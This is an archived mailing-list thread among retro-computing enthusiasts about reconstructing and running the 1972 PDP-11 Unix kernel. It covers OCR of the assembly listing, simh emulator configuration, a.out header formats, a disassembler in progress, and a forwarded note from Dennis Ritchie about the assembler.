/ copy in transfer vectors
mov $ecore,sp / put pointer to score in the stack pointer
while the V7 assembler is generating the correct:
400: MOV #60000,SP
I have no idea why it is doing this. The 1972_stuff "nm" program
correctly lists ecore as 60000.
Use the 1972_stuff "as" at your own risk!
Tim Newsham
http://www.thenewsh.com/~newsham/
I wrote a utility for building a cold boot tape and included it in the
tools directory. Its not yet tested so its possible I got the format
wrong... its based on my reading of init at the end of u0.s.
It seems like the permissions in the s2.tar.gz file from the
1972_stuff reflect the original 1ed permission bits (at least the
low order bits do) so this makes restoring the original permissions
fairly easy. Unfortunately the tar doesn't preserve the original
uids. The included "Readme" does have the original uids, so its
possible to recreate the proper uids by hand. If you do so,
my mktape utility should write out the proper uid and mode values.
The use is straightforward:
cd /your/s2/directory
/path/to/mktape.py bin/* etc/*
and you'll get a "tape" file out. I believe you just need the
stuf in bin and etc. The stuff from usr should probably go on
the rk03 disk after cold boot.
Tim Newsham
http://www.thenewsh.com/~newsham/
OK, I've got it to the point where is makes _a_ filesystem, and now I'm off
to bed. The image looks fine to me, but I thought I'd pass the source code
around in case someone spots an incorrect assumption that I've made, or a bug.
I have created an RK03 image using the V1 binaries off the s2 tape. I then
ran V1 check on the image; here is what it said:
# check rk.img
0 files
0 large
0 indirect
0 used
3420 free
Not exactly fantastic, but much better than when I gave check a random
file to digest :)
Good night!
Warren
P.S cc -o mkfs -Wall mkfs.c
Tim Newsham wrote:
>
>How can I get the modified simh?
Here's a diff against v36 and a tar of my working directory:
http://www.unlambda.com/download/pdp11/unix-jun72/KE.diffhttp://www.unlambda.com/download/pdp11/unix-jun72/simhv36-1-ke.tar.gz
>Also what configuration are you using? I have this so far:
>
> set tc enabled
> att tc tape.dt
> set rk3 enabled
> att rk3 rk0.dsk
> set rf enabled
> att rf rf0.dsk
> set cpu 11/20
> set cpu 32K
I'm using this:
set cpu 11/20
set hk disabled
set rha disabled
set tm disabled
set rx disabled
set rl disabled
set tq disabled
set rk3 enabled
att rk3 rk3.dsk
set tc enabled
set rf enabled
set ke enabled
set cpu 32K
load loadfile
d pc 400
set cpu history=1000
attach rf rf0.dsk
I forgot to include my a.out->loadfile conversion program. I'll check it
in to svn.
>Have you gotten far enough that it writes out the full primitive
>root on rf0 so that you can reboot and get init going?
No - it writes a bunch of blocks to rf0 but no directories.
The 'zero i list' appears to work, and the code to init i-node 41-47 runs
but nothing gets written. Or if it does the wrong thing gets written. not
sure why.
To debug I sprinkle "halt"'s in the code and then do "show cpu history"
to see what happened.
As a sanity check I also do 'e 0-40' and 'e 400-440' to make sure
location 34 (iot vector) is filled in and the code at 400 is correct (it
loads the sp with 60000).
I might turn on some RF debug to see exactly what gets written when.
-brad
All, I'm trying to write a PDP-11 disassembler for a.out files. I'm having
trouble dealing with jsrs. Take, for example, the code here:
http://minnie.tuhs.org/UnixTree/1972_stuff/s1/frag19.html
I can happily deal with the jsr pc,do type of jsr, but the ones
involving r5 have me stumped, e.g.:
jsr r5,questf; < nonexistent\n\0>; .even
It appears that data is being inserted into the executable directly
after the jsr instruction. How does the rts which returns from the jsr
know how much data to skip, and what is the involvement of r5 here?
Thanks,
Warren
Tim Newsham wrote:
>> I wonder... hmmm. if the V1 a.out header where 12 bytes long, then
>> everything would just automagically work.
>
>The 1ed man pages are online. I looked at them and it said that the
>header consists of 6 words, but that the text length included the
>header size. However, I had to skip the first 16 bytes of the
>text segment (including header) to line up the various labels in
>u0.s (.=orig+100, .=orig+200, etc..)
yes, I think 0405 and 0407 a.out's are different.
I believe the V7 headers are 16 bytes and the text section starts at zero.
(heh, memory management)
The v1 headers are 12 bytes and the text section starts at 014 (i.e. the
header is part of the text section and *it* begins at zero, not the code)
So, if we assemble with the v7 as we need to adjust things a bit.
-brad
I'm confused about the disk clearing code in u0.s:
...
/ zero i list
1:
dec r0 / r0=33.,...,1
dec r1
jsr r0,clear / zero block 'r1' on fixed head disk
tst r1
bgt 1b / if blocks 33,...,1 have all been zeroed, done.
...
I had to add the "dec r1" above to get it to work. Otherwise it loops
forever. Since 'clear' takes a block # in r1, I'm not sure it could
work as written...
anyone look at this?
If I add the "dec r1" it does write some sort of structure to the disk. I'm
not sure it's correct, but it wrote a bunch of blocks.
-brad
> I wonder... hmmm. if the V1 a.out header where 12 bytes long, then
> everything would just automagically work.
If you look at sysexec, you will see that the "magic number" for the
a.out header is 000405. That is an instruction that jumps over the
first 12 bytes.
James Markevitch
I made some more minor corrections; turns out the commands in e00-01
around "4;4" are wrong, those lines are needed or the IOT dispatch
vector ends up in the wrong place.
I suspect, in the end, most of the "hand written" corrections should
ignored.
Right now the svn runs and ends up in the idle loop. It dispatches the
first system call (sys exec). I'm not 100% sure but I think it works.
(still some missing pages but I don't think the code hits them yet)
Not sure why it stops in the idle loop; maybe missing hardware.
I had to add KE11A support to simh; I mostly copied the code from
apout.
I'll put a tar file on my web site with the modified simh source.
-brad
Has anything changed regarding read access
to the svn repository? My client answered
svn: PROPFIND request failed on '/svn/trunk'
svn: PROPFIND of '/svn/trunk': 502 Bad Gateway
(http://unix-jun72.googlecode.com)
when I wanted to do a regular 'svn update'
command.
Hellwig
> >Since this OCR is independent of the other work that has been done, a
> >diff should provide an opportunity to fix any errors in the comments
> >that would not have been caught by the assembler.
> >
> >Is there a place to upload this without a Google account? The assembler
> >listing is about 416K.
>
> If you email me a tar file (or zip) I can put it on my website. I can
> receive email up to about 10mb. If it's larger than that I can set up
> with an ftp account.
A compressed .tar.gz won't be very large. I can send it along when I get
home late this evening. It's got 100% of the kernel source pages, so
it should be able to fill in any holes.
> I'd also be happy to write a script to diff the files.
"diff -b" works fine, as does tkdiff :-).
James Markevitch
Guys, I'm writing a PDP-11 a.out disassember. I think it will be useful for
a couple of reasons:
- we will be able to convert the extant 1972 binaries back into some form
of source code. It won't be as good as the real thing, but it will be
better than the binary.
- we have some source code in fragmentary form on the s1 tape, see
http://minnie.tuhs.org/UnixTree/1972_stuff/. Some of the fragments
are identifiable, some are not. We might be able to use the
diassembled binaries to identify some of the fragments, and even
reconstruct a hybrid original/diassembled version of the source
for some of the 1972 applications.
Right now, here's what I've got: disassembly of the top of 1972 ls:
sys break: 00
mov $01,044260
mov sp,r5
mov (r5)+,043732
tst (r5)+
dec 043732
mov 043732,043734
bgt 040056
mov $042542,r5
mov (r5)+,r4
cmpb (r4)+,$055
bne 040174
dec 043734
and the top of the frag19 file:
sys break; end+512.
mov $1,obuf
mov sp,r5
mov (r5)+,count
tst (r5)+
dec count
mov count,ocount
bgt loop
mov $dotp,r5
loop:
mov (r5)+,r4
cmpb (r4)+,$'-
bne 1f
dec ocount
At the moment it's a 1-pass disassembler. I want to make it 2-pass: on the
first pass I will try to identify labels for branches, functions, strings and
variable locations (and given them arbitrary names); on the second pass
I'll print out the instructions with reference to the labels.
None of the binaries have symbol tables, unfortunately.
It's a start, anyway.
Warren
I got a chance to do some work on the UNIX V1 sources this evening. I
took the output of my OCR software and with a couple of hours of editing,
it successfully assembles with a MACRO11 assembler modified for "as" syntax,
with the only exception being that "fpsym" is undefined. It looks like
the floating point emulation code is missing.
Since this OCR is independent of the other work that has been done, a
diff should provide an opportunity to fix any errors in the comments
that would not have been caught by the assembler.
Is there a place to upload this without a Google account? The assembler
listing is about 416K.
I wrote much of the bootstrap code a few weeks ago, so it ought to be
straightforward to get this up and running under simulation.
James Markevitch
A while ago, I heard someone (I can't remember who) say that he had a
paper listing of (at least part of) PDP-7 Unix. How much is there in the
way of surviving listings of PDP-7 Unix (if any)? With all of the
discussion of OCRing the V1 Unix kernel listing, I was wondering if
something similar could be done with PDP-7 Unix if enough listings have
survived (which is sort of unlikely, but you never know).
> I have dug up another listing of the PDP-11 assembly languge
> version, which seems to about contemporary with the
> one you have. The files mostly bear a copyright date
> of 1972, but like other printouts from the time,
> the datestamps only give month and day, not year.
> They are generally from May. It is post 11/45,
> and has segmentation and floating-point support.
Very cool! (fpsym, presumably)
> I replied and asked if we could get either a scan copy of the "other listing",
> or if he could send a photocopy to Tim.
As usual, the key is a high resolution, high quality scan. There is a huge
difference between 300dpi and 400dpi/600dpi for this old stuff, since the
signal to noise ratio is much better with the better scans.
This sounds like a broken record, but there was a 1200 page listing were
the first 400 pages were at 300dpi and the remaining 800 pages were at
400dpi. When you zoomed in, the differences were astounding and the
OCR results reflected that (the person needed to do a lot of editing on
the first third of the document to get it to compile).
If someone can get me a hardcopy, I'll scan it at 600dpi, as I am sure
Al would, if Tim isn't set up to scan stuff like this.
James Markevitch
Guys, I got this message from Dennis.
Warren
----- Forwarded message from Dennis Ritchie -----
Subject: Re: Trying to restore 1972 UNIX
Date: Thu, 1 May 2008 00:55:35 -0400
About the assembler, I am pretty sure that it's substantially
the same as that on the 5th edition tape, so it's likely
that a modified version, without the syscall definitions,
could be produced.
I have dug up another listing of the PDP-11 assembly languge
version, which seems to about contemporary with the
one you have. The files mostly bear a copyright date
of 1972, but like other printouts from the time,
the datestamps only give month and day, not year.
They are generally from May. It is post 11/45,
and has segmentation and floating-point support.
Incidentally, it doesn't use any of the system call names
as such; 'read' is at sysread: and so on.
About assembling it, I'm pretty sure we just did
'as u?.s' and the a.out was ready. This was before
make, after all.
Dennis
----- End forwarded message -----
I replied and asked if we could get either a scan copy of the "other listing",
or if he could send a photocopy to Tim.
Cheers,
Warren
I went through all the errors on the code checked in so far and made
edits consistent (I hope :-) with the pdf.
I also added the missing KE11A addresses (memory mapped EAE).
The remaining errors seem to be only due to missing pages.
-brad
> Can you show me how you are running it? (and feel free to cc the list)
(I think its mentioned in an earlier post already). I copy the
files to my 7ed system (make a tar, put it on a tape image, and
attach it in simh, then tar x to get contents). Probably easier
if you're using apout and local filesystem... I'm using the following
script (in my tools but not checked in because I'm using nonstandard
conv2):
tools/rebuild
(cd rebuilt; gtar -O -cf ../u.tar u?.s)
./conv2 -o tape.tm u.tar
cp tape.tm ~/work/simh/unix-v7-4/run/
Anyway to assemble I run:
as - sys.s u0.s u1.s ux.s
btw, I noticed some unicode characters in the files you committed.
I havent' had a chance to spend time editing it yet.. The ocr
often uses unicode for things like "-".
> I think there is a binary format. I think I figured it out once and
> wrote something to turn an a.out into it. hmmm. I'll go digging.
a.out is so simple, it wouldnt be hard to reproduce if we had to.
> I checked in the missing pages from e3, e4 and e8. I have not tried
> to assemble them yet, however.
I noticed that. Thank you.
> -brad
Tim Newsham
http://www.thenewsh.com/~newsham/
> I can happily deal with the jsr pc,do type of jsr, but the ones
> involving r5 have me stumped, e.g.:
>
> jsr r5,questf; < nonexistent\n\0>; .even
I have encountered this type of construct a lot when doing disassemblers
over the years. My usual strategy for dealing with this is:
1. If it's quick and dirty and I am not running huge amounts of code,
then the disassembler allows the user to provide a list of "hints" to
it. The hints for this would describe the arguments to each subroutine.
For illustrative purposes, you might have a side file that contains
the following:
subr 002004 questf string
meaning that location 002004 is a subroutine names questf that expects
a null-terminated string as the argument. As an additional benefit,
you get a nice name for the subroutine that the disassembler can put
into the output.
And if a subroutine takes two 16-bit arguments, you might have:
subr 003436 mysub arg16 arg16
If the disassembler identifies each of the targets of the jsr
instructions, then you can usually do a quick look at the code to
see what it expects, then add to the side file, then re-run the
disassembler.
2. If you want to be less quick and dirty, you can have the disassembler
do a partial flow analysis of the code to figure out what is expected
for arguments. This is usually much more involved and you still often
need to add hints for cases where the '60s or '70s programmer did some
kind of "neat trick" when coding.
My philosophy on these is to use tools to get to the 95%+ level of
automation and provide hints to pick up the rest. Using strategy
number 1 above will probably get you a lot of success with a small
amount of coding in your disassembler.
James Markevitch
All, I've just created a mailing list for the people involved in the effort
to reconstruct the Unix kernel from the 1972 assembly listing. I thought
it would be good to keep the mundane details of the work separate from the
TUHS mailing list.
The new list is unix-jun72(a)tuhs.org
I've manually subscribed the e-mail addresses that seem to be interested
in the work. If you want to be removed from the new list, e-mail me. If
you want to subscribe to the list, you can go here to do that:
https://minnie.tuhs.org/mailman/listinfo/unix-jun72
Cheers,
Warren
Hi,
here is my 2p :
http://cyrillelefevre.free.fr/jun72/jun72.zip
which is an archive of automatically extracted tif images from the
original pdf file.
so, no need to print/scan any more...
Regards,
Cyrille Lefevre
--
mailto:Cyrille.Lefevre-lists@laposte.net
I am trying out apout using the "1972_stuff" binaries. When using
"as" to assemble "ux" (e10-01 through e10-02) it gives an error
"m 0024" (multiply-defined label) for the line:
mount: .=.+1024.
I assume this is because the assembler has predefined the "mount"
system call (I ran across this earlier when using my system call
table sys.s with ux with the v7 assembler).
We can work around this (ie. use the v7 assembler without the definition
for "mount"), but it worries me a little -- why does the listing
have such an obvious and large flaw? The symbol "mount" is used
in several places, so this isn't likely to be a small typo. I can't
think of a good explanation as to why this error would exist in the
listing other than possibly pointing to another assembler being used.
Tim Newsham
http://www.thenewsh.com/~newsham/
On Thu, Apr 24, 2008 at 10:53:30AM -0700, James A. Markevitch wrote:
> I have been referring to this as version "1.5" since the date is later
> than the first edition manual, but before the second edition manual.
> Does anyone know if it's truly V1 of the kernel, or something between
> V1 and V2?
The date on the first page of the memo (PDF) is September 1972. That puts
the memo after 2nd Edition (June 1972) and 3rd Edition (Feb 1973).
The s2 tape in the Unix Archive has binaries which are dated mainly in
1972, spread from January thru to December, so they should be
contemporaneous with the kernel in the PDF.
The 1st Edition manuals are on-line on Dennis Ritchie's web page at:
http://cm.bell-labs.com/cm/cs/who/dmr/1stEdman.html
I have a photocopy of the 2nd Edition manuals from Norman Wilson; I will
scan them in as a bunch of tiffs. The 3rd Edition manuals are at
http://www.tuhs.org/Archive/PDP-11/Distributions/research/Dennis_v3/v3man.t…
but they refer to the C version, so they may not be as useful here.
> Does anyone have utilities earlier than the "1972" stuff from TUHS?
No, the s1 and s2 tapes are the earliest machine readable files that
we have.
I'm assuming that some of you are keen to see it running. It's going to
take a lot of work, especially on the debugging side. The existing 1972
binaries are already executable using my Apout emulator, so that will
help in two ways: we can run the old assembler, and we can tell if a bug
was in a userland binary and not in the kernel.
If I get a chance, I should try to compare the 1e and 2e manuals, to
outline the kernel API differences, as this might help us to determine
which binaries we have that will run on the PDF kernel.
Cheers,
Warren
> On Thu, Apr 24, 2008 at 10:53:30AM -0700, James A. Markevitch wrote:
> > I have been referring to this as version "1.5" since the date is later
> > than the first edition manual, but before the second edition manual.
> > Does anyone know if it's truly V1 of the kernel, or something between
> > V1 and V2?
>
> The date on the first page of the memo (PDF) is September 1972. That puts
> the memo after 2nd Edition (June 1972) and 3rd Edition (Feb 1973).
However, the date at the bottom of each page of the source listing
is 3/17/72. My assumption is that the code was from that date, but that
the author of the memo spent a few months writing up the text that goes
along with it.
That's why I've been assuming that it was code somewhere between Version 1
and Version 2.
> I have a photocopy of the 2nd Edition manuals from Norman Wilson; I will
> scan them in as a bunch of tiffs.
If possible, can you scan them at 400dpi or 600dpi? Those are much
more amenable to OCR than 300dpi.
Alternatively, if you can send me a hardcopy, I will scan it at 600dpi
and pass it along to bitsavers.
> I'm assuming that some of you are keen to see it running. It's going to
> take a lot of work, especially on the debugging side.
I have already noticed quite a few errors in the listing, so it's not
clear that the PDF was something that actually ran, or whether it had
been re-typed by somebody. So far, many of the errors I have found are
in the "cold" portion of it, so it may be that the "warm" code will
run properly.
James Markevitch
It occurs to me that next year will the the 40th Anniversary of UNIX.
Is anyone planning any type of celebration? Perhaps the Vintage
Computer Festival?
- Derrik
Derrik Walker v2.0, RHCE
lorddoomicus(a)mac.com
http://www.doomd.net
The twenty first century is when it all changes, and Torchwood is ready!
- Captain Jack Harkness, Torchwood Three.